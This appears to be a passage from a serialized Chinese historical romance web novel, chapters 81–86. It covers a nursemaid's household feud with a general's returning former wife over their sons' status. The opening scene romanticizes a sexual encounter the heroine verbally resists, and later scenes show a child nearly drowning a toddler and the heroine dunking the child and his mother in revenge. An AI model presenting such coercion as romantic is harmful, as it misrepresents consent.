如今才发现,她从来都没有真正妥协,心底的疏离抗拒,从来都没有减少过半分。 脑海里突然闪过从前的模样…… 那时的罗苒,还不知道真相,会笑着喊他“阿烬”。 清澈的眼眸里看着他,闪亮亮的,似盛着漫天星辰,满心满眼都是他。 而不像如今,纵然依旧柔顺听话,眼底却总隔着一层看不见的隔阂,疏离又冷淡。 楚烬起初想要娶罗苒,不过是觉得她温顺省心,不想在女人身上花费太多精力,也想给衍哥儿一个安稳的照料者。 可如今他才发现,这个看似柔弱温顺的女人,一举一动,竟然都莫名牵扯着他的心绪,让他烦躁,让他慌乱,让他失控。 他忽然愣了愣,心里竟生出一丝茫然…… 是啊,他到底为什么要这么生气? 罗苒只是不想要他们的孩子,这似乎也没有什么过错。 他从前对孩子,也不是特别迫切,更何况他已经有了衍儿。 可他偏偏受不了…… 受不了这个女人表面柔顺妥协,内里却这般厌恶抵触他…… 受不了她把他们之间的一切,都只当成肉体的纠缠…… 更受不了她从头到尾,都没想过要跟他有长远的牵扯。 楚烬心头的怒火熊弄浓烈,掺杂着无法解释的恼怒焦躁。 他猛地弯腰,一把将罗苒打横抱起,大步往床榻走去。 声音带着破罐破摔的执拗, “既然你说,我们之间只是肉体纠缠,那便如你所愿!明日我便出征,要月余才能回来,出征前,你不得好好伺候我?” 罗苒浑身一僵,没想到楚烬在这种情况下,竟然还想着这档子事。 她拼命挣扎,伸手推着他的胸膛,声音带着抗拒, “不,我不想……” 楚烬却不为所动,抬手一把扯掉她的腰带,俯身在她平坦的小腹上落下一个滚烫的吻,语气低沉又带着不容抗拒的蛊惑, “你会想的……” 第二日清晨,楚烬醒得很早,却没有立马起身离开。 他只穿了下身的衣袍,精壮强健的上身赤裸着,墨色的长发随意披在肩头,带着几分慵懒的野性。 他转头看向还在熟睡的罗苒,被褥下的她未着寸缕,肩头和脖颈上满是昨日留下的斑驳吻痕。 乌黑的长发散落在枕头上,浓密的长睫毛轻轻垂着,睡颜美好又安详,却又带着一丝不易察觉的脆弱,像一朵易碎的花精灵,让人忍不住想要呵护。 楚烬心头的戾气焦躁已然褪去,只剩下一丝连他自己都未察觉的柔情。 他忍不住抬手,大手抚摸着她的发顶,动作轻柔得像是在触碰珍宝。 罗苒被他的触碰惊醒,下意识地想要起身,却被楚烬伸手摁了回去。 力道轻柔,没有半分昨日的强硬。 “别起了,再休息会儿。” 他的声音温柔,连语气都放软了许多。 罗苒微微蹙眉,轻声说道, “可还要给您践行,耽误了时辰不好。” “虚礼罢了,不用。” 楚烬目光紧紧落在她的脸上。 罗苒看着他, “那便祝大爷,旗开得胜,荣胜归来。” 楚烬紧接着问道, “你说的这些是场面话还是真心盼着我归来?” 罗苒看向楚烬, 微微一怔,不由道,“您是镇国将军,平定漠北守护百姓,天下百姓都盼着您荣胜归来。” “我不问百姓,我问的是你。” 楚烬的声音带着执拗,追问着,也不知是不是罗苒的错觉,竟隐约看到他的眼眸之中好似有不易察觉的委屈一闪而过, “罗苒,你自己,盼不盼我回来?” 罗苒垂着眼,长长的睫毛轻轻颤动,遮住了眼底的情绪。 一时竟不知该如何应答。 第一卷 第81章 岂不是在诅咒战场上的大爷? 楚烬出征离去后,罗苒依旧照旧度日。 每日跟着女先生读书习字,闲时便静下心核算大院账目,打理院里一应琐碎杂务。 对于暂且被安置在静兰院的许佩兰母子,她始终淡然处之,半点也不上心。 反倒是三太太钟氏,对许佩兰格外热络亲近。 自打许佩兰母子入府,她便频频派人送去不少吃食绸缎衣物与日用物件。 罗苒冷眼瞧着,心里透亮,自然清楚钟氏打的什么算盘,却也懒得点破。 这日罗苒正坐在案前对账,忽然听见院外传来衍哥儿撕心裂肺的哭声。 她连忙起身出去查看,只见本该待在隔壁静兰院的刘崇,正站在院中,手里拿着衍哥儿最心爱的那辆鸠车玩具。 衍哥儿坐在地上,哭得满脸通红,显然是鸠车被刘崇强行抢走了。 一旁比衍哥儿大不了多少的小玥上前想帮衍哥儿把玩具抢回来,却被刘崇猛地一把推倒在地。 小玥结结实实跌坐在青石板上,顷刻间也哇哇大哭起来。 刘婆婆慌得手足无措,只能一个劲地安抚着哭成一团的两个孩子。 不过几日光景,刘崇早已褪去刚入府时那身满是补丁的陈旧衣衫,换上了一身精致华贵的绸缎锦袍。 身份境遇翻天覆地的变化,让他早已自认是楚府大房名正言顺的嫡子,骨子里平添了几分骄纵傲气。 他稚嫩的小脸绷着,满是倨傲不屑,瞥了眼地上大哭的小玥,语气骄横无礼, “不过是个卑贱的下人之女,也敢跟本少爷抢东西?” 衍哥儿抽噎不止,伸着小手指着他手里的鸠车,吐字含混不清, “车车……是衍儿的……你坏……呜呜……娘……” 刘崇看向衍哥儿,满脸都是鄙夷, “我娘说了,往后整个楚府都是我的,这些玩物自然也该归我。一个死了爹娘的孤儿,也配碰本少爷的东西?” 话音落下,他抬手便将手中的鸠车狠狠往地上一摔。 精致的木制鸠车当即应声碎裂,四分五裂散落在地。 刘崇冷哼一声,态度愈发嚣张, “我就算砸了,也绝不给你玩!” 衍哥儿年纪小,听不懂那些刻薄言语,只看着自己最心爱的玩具被摔碎,哭得越发伤心难过。 被刘婆婆扶起来的小玥,见刘崇这般蛮横无理,一时气不过,趁着众人还没反应过来,猛地扑上前,一口狠狠咬在了刘崇的腿上,死死不肯松口。 刘崇疼得当场放声大哭,扬起手就要往小玥身上打去。 罗苒见状快步上前,一把攥住刘崇扬起的手腕,顺势俯身将受了委屈的小玥抱进怀里。 小玥一扑进罗苒怀中,哭得更委屈了,紧紧搂着她的脖颈不肯撒手。 刘崇一边哭嚎,一边伸手指着罗苒,小小年纪嘴里却满是不该有的粗鄙跋扈, “你这个贱人!还有这个小贱种,竟敢咬我!我可是将军的嫡子!我这就告诉我娘告诉祖母,让她们打你们板子,把你们全都赶出楚府!” 罗苒皱紧眉头,看着他小小年纪却口出恶言性情刻薄骄纵,沉声开口, “你这般年岁,怎会说出这般粗鄙无礼的话?你母亲平日里,便是这般教你规矩礼数的?” 刘崇依旧哭闹叫骂,动静闹得极大,不多时,便把许佩兰引了过来。 许佩兰一进门看见儿子在哭,立刻快步上前。 刘崇立刻扑进她怀里告状,抽抽噎噎道, “娘,这个小贱种咬我,她娘还骂我没有教养!” 许佩兰面容瞬间沉了下来,目光死死盯着罗苒,语气带着浓浓讥讽, “不过是个出身卑贱的奶婢!我儿子是楚府名正言顺的嫡子,将来要承袭楚家家业,你也敢随意置喙纵容孩子伤他?这般罪过,你担待得起吗?” 罗苒怀抱着小玥,又抬手轻轻安抚紧紧依偎在自己腿边的衍哥儿,抬眼看向许佩兰,神色平静,半点不退怯, “许娘子说话不必太过笃定,时至今日,大爷尚且没有认下你们母子,嫡子之说,未免言之过早。” 这话恰好戳中了许佩兰心底最深的痛处,也是她一直以来最忌惮的事。 纵然老夫人满心偏袒看重,可谁都清楚,楚府真正掌权做主的人从来都是楚烬。 只要楚烬执意不肯认下刘崇,就算老夫人再如何偏袒多说,终究也做不了主。 许佩兰被噎得气急败坏,厉声道, “你分明就是嫉妒我为大爷生下子嗣,如今竟公然纵容自家孩子欺负嫡子!我这就去禀明老夫人,定要她重重责罚你们母女!” 罗苒将怀里的小玥轻轻递给一旁的刘婆婆,目光沉静地看向许佩兰,语气不卑不亢, “如今府中不过是暂且容你们暂住静兰院,才过几日,令郎便肆意闯到大爷养子的院落闹事,张口就骂衍哥儿是死了爹娘的孤儿……” “衍哥儿虽不是大爷亲生,却早已被大爷正式认作儿子,录入宗族族谱,大爷便是他名正言顺的父亲,他这般言语,口口声声说衍哥儿死了爹娘,岂不是在诅咒战场上的大爷?” “你既要去禀明老夫人,那我们便一同前去,当着老夫人的面,把话说个清楚。” 许佩兰万万没料到,刘崇竟这般口无遮拦,当众说出这般大忌之言。 楚烬如今领兵在外征战沙场,死伤之言本就忌讳。 如今若是真闹到老夫人跟前,老夫人听闻有人咒自己亲孙儿,定然心中不悦,对刘崇的印象也会大打折扣。 她如今在楚府立足,全无依仗,唯一能依靠的就只有盼孙心切的老夫人。 万万不能因孩子一句无心妄语,毁了眼下好不容易得来的局面,更不能惹老夫人厌弃,断了自己和孩子唯一的靠山。 她恶狠狠瞪了刘崇一眼,眼底满是气恼与警示。 老夫人虽如今偏爱刘崇,可心底最疼惜看重的终究还是楚烬。 这般暗含诅咒楚烬的话,若是传到老夫人耳中,对她们母子绝无好处。 第一卷 第82章 心思不单纯 刘崇也隐隐意识到自己说错了话,顿时止住哭喊,怯生生地缩了缩脖子,不敢再肆意叫嚷。 许佩兰见状,只得强行压下怒火,故作大度地缓和语气, “罢了罢了,不过是小孩子之间打打闹闹,何必较真,我们崇儿心胸大度,便不与他们计较了。” 说罢便想拉着刘崇转身离开。 刚迈出一步,又像是忽然想起什么,停下脚步,微微扬起下巴,摆出一副颐指气使的姿态,看向罗苒, “听闻如今大院的账目杂务,都是由你在打理?你不过是个乡下出身的村妇,看得懂账本,理得清府中繁杂事务吗?” “先前我与大爷成婚后,府中大小事宜都由我做主打理,不如你把账目权柄交还回来,免得日后出了差错,反倒给自己惹来祸事麻烦。” 罗苒看着许佩兰一副志得意满势在必得的模样,心底只觉可笑。 先前许佩兰掌家时的旧账本,她曾偶然翻过。 那时楚烬还只是个都司,月俸本就有限,全靠着楚家祖上留下的产业撑着门面。 可即便家底丰厚,账本上依旧月月亏空。 许佩兰素来奢靡铺张,吃穿用度极尽奢华不说,还月月拿出大把银钱接济娘家,贴补刘家一应开销。 偌大一份家业,被她打理得一塌糊涂,常年入不敷出,只能拆东墙补西墙勉强度日。 后来楚烬遭逢祸事身陷困境,正是急需大笔银钱上下打点周转之际,她反倒卷走府中仅剩的积蓄,绝情离去。 如今竟还有脸面大言不惭,逼着自己交出府中账目与管院之权? 只怕她今日一交出去,明日府里的库房便要被她搬掠一空。 罗苒神色淡然,径直婉言回绝,“府中账目与大院庶务,是大爷亲口托付交由我暂且打理的,未有大爷亲口吩咐,我不敢私自转交旁人,还望娘子见谅。” 许佩兰当即冷哼一声,语气蛮横, “既不肯交权,那便先给我支一千两银子。” 这许佩兰显然还当自己是往日大房的夫人。 罗苒仍旧拒绝,依着府中规矩回话, “府里向来有定例,正室夫人,妾室皆有固定月例。如今娘子身份未定,名份未明,按规矩万万不能私自支取这般大额银钱……” 许佩兰被驳了面子,顿时气急败坏,声调也陡然尖锐起来, “你真当自己是府里正经主子了?不过是仗着手里一点权责,就拿着鸡毛当令箭!我这笔钱是要给崇儿添置衣衫置办书本笔墨,耽误了孩子前程,这个罪责,你担待得起吗?” “添置衣衫书本自是应当,” 罗苒分毫不让,“可再金贵的衣料笔墨,也用不了一千两这般巨款。娘子若执意要用,大可去回禀老夫人。老夫人身边吕嬷嬷掌着全府总账,规矩由她定,银子也该由她批复支取……” 许佩兰接连在罗苒面前碰了钉子,万万没料到这看着温顺娇柔的小娘子,骨子里竟这般软硬不吃油盐不进。 她心头怒火翻涌,正要当场撕破脸面发作,三太太钟氏一行人缓步进了院内。 钟氏本是要去静兰院找许佩兰的,但没见着人,远远听见这边院中有争执动静,便特意过来瞧瞧。 身后跟着下人,捧着好几匹上好衣料与精致首饰。 许佩兰见到明显是来找自己的钟氏,立刻压下满脸戾气,换上一副温婉和善的模样,笑盈盈迎了上去,语气亲昵热络, “三婶,劳您挂心了……这几日您日日都来探望,这般费心照料我和崇儿,实在叫我过意不去,心里又暖又愧。” 钟氏连忙上前一步,伸手亲昵地拉住许佩兰的手,神色慈爱又热络, “你这孩子,说的哪里话,你刚回楚府,身子还没歇稳,崇儿又小,我怕你们母子住不惯,多来关心关心也是应该的。” “往后在府里,有任何不满意的地方,或是缺什么用什么,不用跟我客气,尽管来找我便是。” “多谢三婶体恤,” 许佩兰顺势露出一副感动的模样, “三婶也太客气了,这般时时照拂我和崇儿母子,真的让我好生感动,也让我在这府里,总算有了几分归属感。” 钟氏笑着拍了拍她的手,目光却若有深意地扫过一旁静默伫立的罗苒,继续对着许佩兰假意感慨道, “翠兰你这话就见外了,当年你无奈离开楚府,我心里就一直记挂着你,总想着你在外头受了多少苦……如今你安然归来,还为楚家添了这么个嫡子,这般大喜事,我自然由衷欣慰,也盼着你们母子能在府里安安稳稳过日子。” 她顿了顿,端起长辈的姿态, “说来也奇,这几日我越看崇儿,越觉得他眉眼身形都透着楚家人的骨相,瞧着精神气竟还有几分像我们家老爷……可见啊,血脉亲缘这东西,终究是刻在骨子里的,任谁也遮掩不住。” 说着,她故意加重语气, “哪像府里有些孩子,是从外头随便收养回来的,身世不清不楚,仗着几分薄面混在府里……” “反观崇儿,那是实打实的亲生血脉,是楚家名正言顺的后人。其他那些没根没底的,终究是差了根本,一辈子也登不上台面。” 许佩兰听得心花怒放,连忙顺着钟氏的话点头附和,眼底闪过掩饰不住的得意。 钟氏随即开口提议,打算以三房名义办一场暮秋宴,遍邀京中官宦女眷及各家孩童,特意把许佩兰母子也一并请了来。 许佩兰一听,眼底喜色藏都藏不住,当即满口应下。 她故意抬着下巴,挑衅似的瞥了罗苒一眼,亲热挽住钟氏的胳膊,趾高气扬地跟着离去。 刘崇跟在许佩兰身边,还不忘了回头不屑地瞪了罗苒和衍哥儿一眼,迈着小步子傲气十足地追了上去。 待人都走后,一旁的李婆婆叹了口气, “三太太这般刻意拉拢许娘子,怕是心思不单纯。” 这场暮秋宴本就是钟氏特意筹办,分明是要借着宴席,把许佩兰母子堂而皇之引荐给京里一众权贵女眷。 一旦众人都默认了刘崇的身份,等于更加坐实了他楚家血脉的名分。 第一卷 第83章 如今人不也没死吗? 转眼便到了暮秋宴当日。 钟氏特意遣人来传话,点名要罗苒带着衍哥儿赴宴。 罗苒推脱不得,只能硬着头皮前去。 暮秋宴设在湖畔园林,布置得极尽隆重雅致。 赴宴的全是京中有头有脸的官眷,不少都带了府中孩童。 孩子们在园里追逐嬉闹,热闹非凡。 钟氏端坐主位,二太太崔氏没来,她身旁首位特意留给了许佩兰。 而罗苒却被刻意安排在最末的角落席位,摆明了刻意冷落。 许佩兰今日一身绫罗华服,满头珠翠层层叠叠,打扮得华贵逼人。 刘崇也穿着一身上好锦袍,派头十足。 席间闲谈应酬,许佩兰和钟氏言语间总是有意无意抬高自己,明里暗里羞辱罗苒出身卑微登不上台面。 满席太太小姐都围着钟氏、许佩兰奉承攀谈。 唯独罗苒被晾在一旁,只默默低头饮茶,柔声哄着身旁安静的衍哥儿。 席间有位官家夫人听闻钟氏藏有一件稀世金缕玉衣,十分好奇,想要开开眼界。 钟氏顺势大方应下,邀在座女眷一同前去观赏。 罗苒没法推脱,只得把衍哥儿暂时托付给贴身丫鬟,自己也沉默跟在众人身后。 众人刚坐等下人去取衣衫,就见一个丫鬟脸色煞白,跌跌撞撞奔来,大喊道, “不好了!不好了!衍哥儿出事了!” 罗苒心头猛地一沉,快步往园林中跑去。 只见衍哥儿静静躺在岸边,浑身湿透,小脸青紫。 四周宾客围拢一圈,指指点点议论纷纷。 刘崇站在一旁,故意扯着嗓子嚎啕大哭,装得委屈又可怜。 罗苒冲到衍哥儿跟前,看着那毫无生气的小脸,双腿一软跪倒在地。 一旁浑身湿透的下人满脸惋惜地摇头, “我们赶过来时小少爷已经落水了,救上来看着……怕是已经没气了……” 罗苒哪里肯信,什么也顾不上,俯身就给衍哥儿按压胸口,一遍又一遍,不肯停下。 旁人围观之人看她这般崩溃模样,纷纷劝她认命,人已经没了,何必白费力气。 罗苒却始终不肯放弃。 她本是乡野出身,自幼住在河边塘边,乡下孩童失足落水是常事. 村里老辈传下的溺水救急法子她从小耳濡目染,也曾帮着救过人,深知只要还有一丝气息,便绝不能放弃。 也不知按压了多久,衍哥儿忽然猛地呛出一口湖水,紧接着哇哇大哭起来。 罗苒大口喘着粗气,悬着的心终于落地,连忙把浑身冰凉的衍哥儿紧紧搂进怀里,身子止不住地发颤。 钟氏与众女眷闻讯匆匆赶回,见湖边乱作一团,当即沉声发问缘由。 伺候衍哥儿的小丫鬟吓得浑身发抖,哆哆嗦嗦回话, “奴婢方才好好陪着小少爷玩耍,是崇哥儿非说要拉着弟弟去一旁玩……奴婢一时分神,转头就看见衍哥儿掉进湖里了……” 衍哥儿缓过些许力气,哭得虚弱无力,小小的手指怯怯指向刘崇,小脸满是惊恐, “哥哥……推衍儿……掉水里……好冷……” 这话一出,在场众人心里顿时明了七八分。 刘崇立刻哭着扑进许佩兰怀里,撒泼辩解, “不是我故意的,是衍哥儿不听话,我就想轻轻推他教训一下,是他自己脚滑滚下去的!” 许佩兰当即脸色一沉,架子端得十足,对着下人厉声呵斥, “你们这群奴才都是干什么吃的?连个孩童都看不住!明知道湖边凶险,还任由小孩子靠近边沿,轻轻一推就能摔进湖里,可见平日有多懈怠偷懒! “幸好落水的不是我们崇儿,他可是楚府名正言顺的嫡子,是将来要承袭家业的主子!他若有半点闪失,我定扒了你们的皮,一个个重重治罪!” 席间有位看不惯她这般时候还这样跋扈的夫人,淡淡开口, “这湖边小路离水面还有好几步距离,若当真只是轻轻一推,怎会径直滚落湖中?这话未免太过牵强。” 罗苒缓缓抬眼,眼眶通红,一双眸子却冷得像冰刃,直直瞪向许佩兰母子。 可许佩兰半点收敛之意都没有,反而满脸不屑, “不过是小孩子之间打闹失手落水罢了,如今人不也没死吗?多大点事……” 刘崇躲在许佩兰身后,趁人不备,眼底飞快闪过一丝得意狡黠。 罗苒将那抹狡黠尽收眼底,瞬间彻底明白。 这孩子根本就是存心蓄意,故意把衍哥儿推落湖中。 罗苒只觉脑袋嗡嗡作响,尖锐的痛感在心口窝蔓延开来。 她不敢去想,若是自己再晚来一步,衍哥儿恐怕就再也回不来了。 孩子才一岁多点,那般弱小无助,平白被人推下湖水,在水里挣扎呛下无数冷水,直至昏迷失去气息,才被人发现救上岸。 一念及此,心疼后怕与满腔怒火齐齐翻涌上来,瞬间将她整个人吞没。 她猛然起身,把哭得力竭的衍哥儿递给丫鬟。 上前两步,一把攥住刘崇的衣襟,当着满席权贵女眷的面,直接把发懵的刘崇狠狠提起,径直扔进湖里。 在场所有人惊得怔住。 众人印象里的罗苒向来温顺静懦,谁也没想到她会做出这般失控刚烈之事。 以至于一时竟都忘了阻拦。 刘崇在水里扑腾挣扎,刚站稳要哭喊,罗苒已然纵身跃入湖中,伸手揪住他发髻,就往水里按,半点不留情面。 湖面水花四溅,夹杂着刘崇呛水的呜咽哭嚎,场面大乱。 许佩兰最先回过神,当即尖声嘶喊,近乎失态, “来人啊!快来人!杀人了!这个卑贱婢女竟敢蓄意谋害楚府嫡子!简直无法无天! “你们还愣着干什么?还不快下水把崇儿救上来!若是我儿有半点损伤,我拿你们所有下人试问!” 府中下人都知晓罗苒在楚烬心中分量不一般,又碍于男女大防,男仆不便近身拉扯,只有两个丫鬟勉强下水。 奈何湖边湿滑,水花翻涌纷乱不堪。 第一卷 第84章 越发觉得之前小看了你 罗苒与刘崇在水中扭作一团,人影交错难辨,两个丫鬟手忙脚乱,根本无从下手劝解,更拉不开怒火中烧的罗苒。 许佩兰立在湖边,气得浑身发抖,尖声刻薄的叫骂声丝毫没有停歇,反倒愈发尖利刺耳, “罗苒你这个贱人!毒妇!竟敢当众行凶害我儿,我这就去回禀老夫人,定要治你死罪,把你挫骨扬灰,绝不轻饶!” 没等她骂完,罗苒忽然从水中探身,伸手狠狠攥住她华贵的绸缎罗裙,猛地用力一拽。 许佩兰一声惊叫,身形瞬间失衡,扑通一声直直摔落湖中。 满头珠钗散落水面,精心盘起的发髻散乱披落,衣衫浸水贴身,脸上脂粉花得一塌糊涂。 刚刚宴席之上那高高在上的华贵模样顷刻间荡然无存,只剩满身狼狈不堪。 罗苒反手一把揪住她散乱的发髻,按着她的头往湖水里狠狠浸了两下。 许佩兰吓得魂飞魄散,在水中拼命挣扎,凄厉的尖叫混着呛水的闷咳此起彼伏,引得岸边众人惊慌失色。 场面愈发混乱,吵闹声一路传开,终于惊动了府中老夫人。 老夫人闻讯带着一众仆妇匆匆赶来,见状又惊又怒,厉声喝止,这才硬生生压住纷乱的场面,终结了这场闹剧。 老夫人面色铁青,眉头拧成一团,强压着心头怒火,对着身旁管事婆子沉声吩咐, “今日之事太过荒唐,惊扰了诸位夫人小姐,快些派人送各位贵客回府,备上一份赔罪礼,替楚府向各位赔个不是。” 管事婆子不敢耽搁,连忙上前招呼宾客,陪着笑脸连连致歉。 碍于老夫人威严,在场一众官眷也不敢多留,只得匆匆起身,带着自家孩童行礼告辞,这场临湖雅宴就这样草草收场。 老夫人又瞥了一眼湖边湿漉漉的几人,面色沉凝,冷声道, “都去换身干净衣物,到正厅来。” 显然是要亲自问责。 不多时,换好衣裙的罗苒,端端正正跪在正厅青砖地上,脊背挺直,神色已然恢复了往日的平静。 她垂着眼眸,周身透着一股疏离的淡然,仿佛方才在湖边那般疯狂失控的人,从未是她。 而她身旁,许佩兰正紧紧抱着刘崇,一进正厅便哭哭啼啼,没等老夫人坐稳开口,便率先发难, “老夫人!您可要为崇儿做主啊!这个毒妇,竟然敢在众目睽睽之下谋杀我的孩儿,方才在湖边,她连我也一并拖进水里,我和崇儿险些都丧命在她手里!” 她一边说,一边用力抹着眼泪,话语间里满是不甘与煽动, “今日赴宴的都是京中官家夫人小姐,个个都看在眼里,若是不狠狠惩治这个毒妇,传出去旁人会怎么说楚府?” 一旁的刘崇也挣脱她的怀抱,跌跌撞撞扑到老夫人腿边,哭得楚楚可怜, “太祖母……崇儿好怕……崇儿差点就见不到您了……那个坏女人,她把崇儿按在水里,崇儿以为自己要淹死了……” 许佩兰见状,连忙添油加醋道, “老夫人您看,崇儿都被吓破胆了!他不过是一时失手,不小心把衍哥儿碰落水中,衍哥儿也只是湿了一身受了点惊吓,可这个毒妇却不分青红皂白,就把崇儿狠狠按在水里,好几个人都拉不住,她就是故意的,就是想借着今日的场合,除掉崇儿啊!” 她话锋一转,眼神怨毒地瞥向罗苒,语气笃定刻薄, “我清楚,我带着崇儿回府,府中最容不下我们母子的,就是她!先前她靠着衍哥儿,深得大爷宠爱,如今崇儿回来,要认祖归宗,做楚府大房名正言顺的嫡子,她怕衍哥儿的宠爱被分走,便心生嫉妒,蓄意谋害崇儿,其心可诛啊!” 全程,罗苒都静静跪在原地,长长的睫毛遮住了眼底的情绪,平静得近乎冷漠,唯有指尖微微攥紧,泄露着心底未散的寒凉。 直到许佩兰哭诉完毕,她才缓缓抬眼,目光清亮而坚定,开口同老夫人说道, “老夫人明鉴,刘崇并非不小心将衍哥儿碰落水,而是有意为之。” “衍哥儿落水后,呛了无数湖水,昏迷不醒,险些丧命,当时在场的宾客与下人,皆能作证。” “可刘娘子无论是在湖边,还是此刻在此,都将此事轻描淡写,仿佛衍哥儿的性命,不过是一件无关紧要的小事。” 她顿了顿,语气添了几分沉重, “衍哥儿虽是大爷的养子,却早已进了楚家宗谱,过了明路,是楚家名正言顺的少爷,更何况,衍哥儿的生父,是为了护大爷周全而死,大爷收养他好生照料,当时多少人称赞大爷重情重义知恩图报……” “今日在场那么多官家家眷,若依着刘娘子这般毫不在意的态度,旁人会怎样想楚家?会怎样想大爷?” “本来收养遗孤这种事便十分敏感,如今衍哥儿在大庭广众之下,险些被人溺死,若是就如刘娘子所说,轻描淡写地了了此事,外界定然会传言,楚家表面收养孤儿看似忠义,实则阳奉阴违心口不一,连救命恩人的孩子都容不下,这不仅毁了大爷的名声,更是丢尽了楚家的脸面!” “你胡说!” 许佩兰猛地拔高声音,伸手指着罗苒,表情有些扭曲, “你少在这危言耸听!不过是区区一个养子罢了,怎会有你说的那般严重?你就是蓄意谋害大房嫡子,一个没名没分的贱婢,本就该发卖到苦寒之地,永不得翻身!” “够了!” 老夫人猛地抬手,拐杖重重顿在青砖上,瞬间打断了许佩兰的叫嚣,正厅内瞬间鸦雀无声。 她目光沉沉地看向罗苒,眼底带着几分探究与复杂,缓缓开口, “老身今日越发觉得之前小看了你。” 罗苒仍旧垂眸,“老夫人抬举了。” 老夫人收回目光,神色恢复了往日的威严,沉声道, “罗氏、刘氏,今日大闹雅宴,失了楚府体面,皆罚闭门思过一月。这一月里,每日抄写《女诫》《道德经》各五篇,除每日来我着送经书外,不得踏出各自院门半步。” 她顿了顿,又看向一旁依旧抽泣的刘崇,补充道, “至于两个孩子,明日便请两位严苛夫子入府,严加教导,教他们规矩礼数,不得再肆意妄为惹是生非。” 第一卷 第85章 若是我执意不肯,他定然会站在我这边 许佩兰一听,当即就不乐意了,脸上的委屈瞬间变成了不满, “老夫人!您怎能就这么草草了了?这个贱婢闹的宴会不欢而散,惊扰了各位贵客,还差点溺死我和崇儿,您就罚她闭门思过?这也太不公了!” 老夫人抬眼,一道冰冷的冷眼扫了过去, “你这是在说,老身处事不公?” 许佩兰被老夫人的眼神吓得浑身一僵,到了嘴边的话瞬间咽了回去,连忙低下头,声音喏喏, “不……不敢,孙媳不敢。” “既不敢,便退下!” 老夫人厉声, “都回去好好闭门思过,若是再敢惹事,老身绝不轻饶!” “是。” 罗苒与许佩兰齐声应下,只是语气里各有滋味。 罗苒缓缓起身,拍了拍裙摆上的灰尘,全然无视身旁许佩兰投来的满是愤愤不平的怨毒目光。 目光落在老夫人拄着拐杖缓缓离去的背影上,心底一片寒凉。 许佩兰觉得不公,可明眼人都看得清清楚楚,老夫人自始至终,都在偏袒刘崇。 若是这事真要正经论起来,刘崇心生恶意蓄意将衍哥儿推落湖中,意图谋害楚家少爷,已是大错。 许佩兰纵容孩子颠倒黑白,也难辞其咎。 可老夫人却只是各打五十大板,这般不痛不痒的惩治,不过是做个样子罢了。 罗苒心中跟明镜似的,楚烬虽一直否认刘崇是自己的亲生骨肉,可刘崇眉眼间与楚烬几分相似,再加之月份也对得上。 老夫人早已在心底认定,刘崇是楚烬的亲生儿子。 她固然疼衍哥儿,可这亲的与养的,终究是不一样的。 她的心,怕是从一开始就偏了。 往后自己和小玥离开,衍哥儿在府中无人真心相互,怕是不好过了。 罗苒回了自己院落,便闭门抄起了经书,一笔一划,半点不敢懈怠。 整整抄了两日两夜,指尖都磨出了薄茧。 第三日傍晚,她捧着一叠工工整整的二十篇经书,亲自送往老夫人的院里。 彼时老夫人正在佛堂诵经,案前香烟袅袅,梵音轻缓。 罗苒见状,并未上前打扰,默默跪坐在佛堂角落的蒲团上,身姿端正,垂眸静候,周身透着一股疏离的沉静。 不知过了多久,老夫人念完最后一段经文,缓缓睁开眼,回头时才瞧见角落里默默等候的罗苒,眼底掠过一丝不易察觉的讶异。 一旁候着的吕嬷嬷上前,将老夫人扶起坐下。 老夫人目光落在罗苒手中的经书之上,伸手接过,指尖拂过工整秀丽的字迹,一笔一划皆见用心,半点没有偷懒敷衍的痕迹。 她想起昨日许佩兰频频派人来求情,找了各种借口想要推脱抄经的责罚,反观罗苒,纵然心中有委屈,却依旧安分守己,遵规守矩。 老夫人放下经书,语气缓和了几分,开口道, “这经书抄得还算工整,看来你是真心知错悔过了。” 顿了顿,她话锋一转,缓缓道, “刘氏如今倒是越发上不得台面了,行事张扬,不知收敛,但她终究是崇儿的亲生母亲,血脉相连……而崇儿,终究是烬儿的亲生孩子……” “崇儿年纪还小,心思本就单纯,许是跟着他娘耳濡目染,才学了些顽劣性子,往后请夫子好好调教,定然能成器,不负楚家期望。” 罗苒垂着眼,怎会听不出老夫人话中的深意。 她缓缓抬眼,顺势接话,语气里带着几分恰到好处的体谅, “老夫人说的是……” “大爷如今已然二十七岁,放眼京中,与他同龄的男子,早已子女成群,唯有大爷,至今未有亲生子嗣。” “大房老爷早早离世,府中只剩大爷这一根独苗,他又常年驻守边关,刀枪无眼,如今老夫人突然得知有崇哥儿这样大的孩子,自然会格外重视偏爱,这些,罗苒都懂,也早有预料。” 罗苒的通透,反倒让老夫人愣了愣,随即眼底多了几分赞许,语气也软了下来,开始软硬兼施, “我也能看出,烬儿对你的心思不一般。这孩子自小在军营长大,舞刀弄枪惯了,心思粗疏,不比那些流连花丛、整日与女子厮混的纨绔子弟,他性子执拗,却从始至终都坚定地想要娶你,这份心意,可见是真心的。” “但刘氏毕竟是崇儿的亲生母亲,虽说她从前做过错事,可这几年,她独自带着崇儿在外漂泊,没有辛劳也有苦劳,总不能太过苛待,该给的体面还是要给的。” 老夫人话锋又转,抛出了自己的主意, “待烬儿从边关回来,迎娶你过门,成为大房正室太太,便将崇儿放到你名下抚养,对外只当是你亲生的。” “至于刘氏,我便随意给她一个妾位,让她安分守己,绝不可能让她越到你的头上去,这般安排,你看如何?” 听到这话,罗苒不再掩饰心底的真实想法,抬眼看向老夫人,直言道, “老夫人,罗苒心中,只把衍哥儿当作自己的亲生孩子,若是我真的嫁给大爷,成为大房太太,绝不可能同意将险些害死衍哥儿的人放到我名下抚养,更不可能认他做我的孩子。” 她语气不卑不亢,没有半分退让, “您若坚持让大爷收了刘氏做妾室,罗苒无从反对,但我刘氏之子永远不可能拥有大房嫡子的身份,到头来,也只能是妾生的次子,绝不能与衍哥儿相提并论。” “什么?” 老夫人万万没想到,一向温润柔顺的罗苒,在这件事上竟然会这般强硬。 她本是好言好语与她商量,想给双方一个台阶,可罗苒却这般不识抬举,脸色瞬间沉了下来, “你可知你在说什么?楚家不嫌弃你出身卑微,肯让你做烬儿的正室,已是天大的恩典,你竟然还敢提这般过分的要求?” 罗苒依旧脊背挺直, “是的,罗苒自是知晓自己的身份出身,也知晓楚家的恩典。可架不住大爷对我情深意切,非我不娶,您也清楚,大爷对我的态度,向来百依百顺。” “更何况,他本就不承认崇儿的身份,若是我执意不肯,他定然会站在我这边。” 老夫人的脸色越发难看,胸口微微起伏,显然是动了怒。 第一卷 第86章 那便给他一个彻底死心的理由 罗苒见状,索性再添一把火, “再者,我生了小玥后伤了根本,大夫早已断言,我此生难以再孕。此事,我早已跟大爷商量好,衍哥儿便是大房唯一的嫡子,将来继承大爷的衣钵,至于刘氏的孩子,便永远是那上不了台面的妾生子……” 